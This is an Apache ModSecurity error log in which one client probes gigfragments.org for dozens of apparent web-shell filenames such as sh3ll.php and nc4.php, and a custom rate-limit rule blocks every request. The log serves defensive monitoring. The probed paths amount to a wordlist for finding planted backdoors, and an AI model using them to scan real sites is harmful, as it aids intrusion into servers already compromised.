[Fri Apr 03 20:22:15.560339 2026] [:error] [pid 33445:tid 33450] [client 172.161.140.213:47398] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t00l.php"] [unique_id "ac-w91lRNZ0iDVmJWM3v6gAAAAA"]
[Fri Apr 03 20:22:16.176413 2026] [:error] [pid 55174:tid 55188] [client 172.161.140.213:59509] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/t00l.php"] [unique_id "ac-w-J_WKqUonPNUHYzkoQAAAcw"]
[Fri Apr 03 20:22:16.670688 2026] [:error] [pid 40562:tid 40572] [client 172.161.140.213:40419] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/acxx.php"] [unique_id "ac-w-DfFMXuP9zvqCepxJQAAAYc"]
[Fri Apr 03 20:22:17.198519 2026] [:error] [pid 55174:tid 55185] [client 172.161.140.213:56604] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/acxx.php"] [unique_id "ac-w-Z_WKqUonPNUHYzkpAAAAck"]
[Fri Apr 03 20:22:17.884623 2026] [:error] [pid 33445:tid 33468] [client 172.161.140.213:40414] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/acxx.php"] [unique_id "ac-w-VlRNZ0iDVmJWM3v8AAAABI"]
[Fri Apr 03 20:22:18.453322 2026] [:error] [pid 33542:tid 33563] [client 172.161.140.213:47412] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/acxx.php"] [unique_id "ac-w-nwb6uB1LaGtepbu9gAAANI"]
[Fri Apr 03 20:22:19.072100 2026] [:error] [pid 35469:tid 35491] [client 172.161.140.213:5604] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "ac-w-6GvTIc8-wY3jURpdAAAARQ"]
[Fri Apr 03 20:22:19.595502 2026] [:error] [pid 55174:tid 55184] [client 172.161.140.213:56631] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "ac-w-5_WKqUonPNUHYzkqAAAAcg"]
[Fri Apr 03 20:22:20.120172 2026] [:error] [pid 33542:tid 33555] [client 172.161.140.213:50768] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "ac-w_Hwb6uB1LaGtepbu-gAAAMo"]
[Fri Apr 03 20:22:20.617649 2026] [:error] [pid 55174:tid 55198] [client 172.161.140.213:59477] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xwx1.php"] [unique_id "ac-w_J_WKqUonPNUHYzkrAAAAdY"]
[Fri Apr 03 20:22:21.182819 2026] [:error] [pid 40533:tid 40546] [client 172.161.140.213:47309] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "ac-w_fbIAA8AViDmwsuj1wAAAUs"]
[Fri Apr 03 20:22:21.768302 2026] [:error] [pid 40562:tid 40579] [client 172.161.140.213:40437] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "ac-w_TfFMXuP9zvqCepxNgAAAY4"]
[Fri Apr 03 20:22:22.310857 2026] [:error] [pid 33446:tid 33483] [client 172.161.140.213:52890] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "ac-w_tg3dCqFYIIdw0pHFwAAAEY"]
[Fri Apr 03 20:22:22.864868 2026] [:error] [pid 33446:tid 33490] [client 172.161.140.213:50784] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "ac-w_tg3dCqFYIIdw0pHGgAAAE0"]
[Fri Apr 03 20:22:23.553975 2026] [:error] [pid 55174:tid 55192] [client 172.161.140.213:59515] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sh3ll.php"] [unique_id "ac-w_5_WKqUonPNUHYzktgAAAdA"]
[Fri Apr 03 20:22:24.192547 2026] [:error] [pid 55174:tid 55198] [client 172.161.140.213:59490] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sh3ll.php"] [unique_id "ac-xAJ_WKqUonPNUHYzkuAAAAdY"]
[Fri Apr 03 20:22:24.966281 2026] [:error] [pid 33445:tid 33453] [client 172.161.140.213:52884] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sh3ll.php"] [unique_id "ac-xAFlRNZ0iDVmJWM3wAAAAAAM"]
[Fri Apr 03 20:22:25.611135 2026] [:error] [pid 33446:tid 33479] [client 172.161.140.213:52914] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sh3ll.php"] [unique_id "ac-xAdg3dCqFYIIdw0pHIAAAAEI"]
[Fri Apr 03 20:22:26.306601 2026] [:error] [pid 33445:tid 33454] [client 172.161.140.213:47369] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws84.php"] [unique_id "ac-xAllRNZ0iDVmJWM3wCQAAAAQ"]
[Fri Apr 03 20:22:27.182965 2026] [:error] [pid 33445:tid 33463] [client 172.161.140.213:45564] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws84.php"] [unique_id "ac-xA1lRNZ0iDVmJWM3wEgAAAA0"]
[Fri Apr 03 20:22:27.839818 2026] [:error] [pid 33445:tid 33454] [client 172.161.140.213:45504] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws84.php"] [unique_id "ac-xA1lRNZ0iDVmJWM3wGAAAAAQ"]
[Fri Apr 03 20:22:28.518604 2026] [:error] [pid 33445:tid 33472] [client 172.161.140.213:50754] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws84.php"] [unique_id "ac-xBFlRNZ0iDVmJWM3wIgAAABY"]
[Fri Apr 03 20:22:29.081711 2026] [:error] [pid 40562:tid 40567] [client 172.161.140.213:50753] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goat1.php"] [unique_id "ac-xBTfFMXuP9zvqCepxTAAAAYI"]
[Fri Apr 03 20:22:29.644702 2026] [:error] [pid 33446:tid 33494] [client 172.161.140.213:59512] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goat1.php"] [unique_id "ac-xBdg3dCqFYIIdw0pHKQAAAFE"]
[Fri Apr 03 20:22:30.510847 2026] [:error] [pid 55174:tid 55191] [client 172.161.140.213:59471] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goat1.php"] [unique_id "ac-xBp_WKqUonPNUHYzkyQAAAc8"]
[Fri Apr 03 20:22:31.246030 2026] [:error] [pid 40562:tid 40572] [client 172.161.140.213:50803] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goat1.php"] [unique_id "ac-xBzfFMXuP9zvqCepxVgAAAYc"]
[Fri Apr 03 20:22:31.814454 2026] [:error] [pid 33446:tid 33492] [client 172.161.140.213:50775] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mis.php"] [unique_id "ac-xB9g3dCqFYIIdw0pHLgAAAE8"]
[Fri Apr 03 20:22:32.305346 2026] [:error] [pid 55174:tid 55184] [client 172.161.140.213:50801] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mis.php"] [unique_id "ac-xCJ_WKqUonPNUHYzkzAAAAcg"]
[Fri Apr 03 20:22:32.883962 2026] [:error] [pid 55174:tid 55198] [client 172.161.140.213:45551] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mis.php"] [unique_id "ac-xCJ_WKqUonPNUHYzk0QAAAdY"]
[Fri Apr 03 20:22:33.411033 2026] [:error] [pid 33447:tid 33512] [client 172.161.140.213:47420] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mis.php"] [unique_id "ac-xCUgaPmDHz92j4lM_CwAAAIg"]
[Fri Apr 03 20:22:33.880376 2026] [:error] [pid 40562:tid 40574] [client 172.161.140.213:47367] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wgift1.php"] [unique_id "ac-xCTfFMXuP9zvqCepxXwAAAYk"]
[Fri Apr 03 20:22:34.372922 2026] [:error] [pid 40562:tid 40569] [client 172.161.140.213:52887] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wgift1.php"] [unique_id "ac-xCjfFMXuP9zvqCepxYgAAAYQ"]
[Fri Apr 03 20:22:35.260544 2026] [:error] [pid 35469:tid 35486] [client 172.161.140.213:52917] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wgift1.php"] [unique_id "ac-xC6GvTIc8-wY3jURpgAAAAQ8"]
[Fri Apr 03 20:22:36.120675 2026] [:error] [pid 55174:tid 55200] [client 172.161.140.213:56612] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wgift1.php"] [unique_id "ac-xDJ_WKqUonPNUHYzk1wAAAdg"]
[Fri Apr 03 20:22:37.236782 2026] [:error] [pid 33446:tid 33495] [client 172.161.140.213:57183] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admir.php"] [unique_id "ac-xDdg3dCqFYIIdw0pHMgAAAFI"]
[Fri Apr 03 20:22:38.724202 2026] [:error] [pid 33446:tid 33501] [client 172.161.140.213:50762] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admir.php"] [unique_id "ac-xDtg3dCqFYIIdw0pHOwAAAFg"]
[Fri Apr 03 20:22:41.808629 2026] [:error] [pid 55174:tid 55186] [client 172.161.140.213:52903] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admir.php"] [unique_id "ac-xEZ_WKqUonPNUHYzk4wAAAco"]
[Fri Apr 03 20:22:43.568652 2026] [:error] [pid 33446:tid 33490] [client 172.161.140.213:45554] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admir.php"] [unique_id "ac-xE9g3dCqFYIIdw0pHWgAAAE0"]
[Fri Apr 03 20:22:44.416013 2026] [:error] [pid 33446:tid 33500] [client 172.161.140.213:5593] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "ac-xFNg3dCqFYIIdw0pHXAAAAFc"]
[Fri Apr 03 20:22:45.261569 2026] [:error] [pid 55174:tid 55188] [client 172.161.140.213:59473] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "ac-xFZ_WKqUonPNUHYzk7gAAAcw"]
[Fri Apr 03 20:22:46.535783 2026] [:error] [pid 55174:tid 55177] [client 172.161.140.213:5605] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "ac-xFp_WKqUonPNUHYzk8AAAAcE"]
[Fri Apr 03 20:22:47.887778 2026] [:error] [pid 35469:tid 35490] [client 172.161.140.213:45526] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gettest.php"] [unique_id "ac-xF6GvTIc8-wY3jURppwAAARM"]
[Fri Apr 03 20:22:49.245665 2026] [:error] [pid 33542:tid 33547] [client 172.161.140.213:59498] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fyiiz.php"] [unique_id "ac-xGXwb6uB1LaGtepbvEQAAAMI"]
[Fri Apr 03 20:22:50.239970 2026] [:error] [pid 35469:tid 35486] [client 172.161.140.213:62193] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fyiiz.php"] [unique_id "ac-xGqGvTIc8-wY3jURptgAAAQ8"]
[Fri Apr 03 20:22:50.798861 2026] [:error] [pid 33446:tid 33485] [client 172.161.140.213:55461] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fyiiz.php"] [unique_id "ac-xGtg3dCqFYIIdw0pHawAAAEg"]
[Fri Apr 03 20:22:51.501218 2026] [:error] [pid 35469:tid 35474] [client 172.161.140.213:40438] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fyiiz.php"] [unique_id "ac-xG6GvTIc8-wY3jURpugAAAQM"]
[Fri Apr 03 20:22:52.230962 2026] [:error] [pid 35469:tid 35489] [client 172.161.140.213:40432] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "ac-xHKGvTIc8-wY3jURpwQAAARI"]
[Fri Apr 03 20:22:53.123032 2026] [:error] [pid 33445:tid 33450] [client 172.161.140.213:5589] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "ac-xHVlRNZ0iDVmJWM3wPQAAAAA"]
[Fri Apr 03 20:22:53.632150 2026] [:error] [pid 40562:tid 40586] [client 172.161.140.213:56626] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "ac-xHTfFMXuP9zvqCepxaAAAAZU"]
[Fri Apr 03 20:22:54.766787 2026] [:error] [pid 40562:tid 40587] [client 172.161.140.213:57181] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "ac-xHjfFMXuP9zvqCepxaQAAAZY"]
[Fri Apr 03 20:22:55.497310 2026] [:error] [pid 33445:tid 33452] [client 172.161.140.213:59494] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/admin.php"] [unique_id "ac-xH1lRNZ0iDVmJWM3wQAAAAAI"]
[Fri Apr 03 20:22:57.225507 2026] [:error] [pid 35469:tid 35475] [client 172.161.140.213:55462] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/admin.php"] [unique_id "ac-xIaGvTIc8-wY3jURp3QAAAQQ"]
[Fri Apr 03 20:22:57.802670 2026] [:error] [pid 35469:tid 35481] [client 172.161.140.213:59458] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/admin.php"] [unique_id "ac-xIaGvTIc8-wY3jURp4wAAAQo"]
[Fri Apr 03 20:22:58.317739 2026] [:error] [pid 33542:tid 33558] [client 172.161.140.213:5600] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/admin.php"] [unique_id "ac-xInwb6uB1LaGtepbvGwAAAM0"]
[Fri Apr 03 20:22:59.166108 2026] [:error] [pid 33445:tid 33466] [client 172.161.140.213:5609] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file88.php"] [unique_id "ac-xI1lRNZ0iDVmJWM3wRgAAABA"]
[Fri Apr 03 20:22:59.855908 2026] [:error] [pid 35469:tid 35473] [client 172.161.140.213:43137] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file88.php"] [unique_id "ac-xI6GvTIc8-wY3jURp7QAAAQI"]
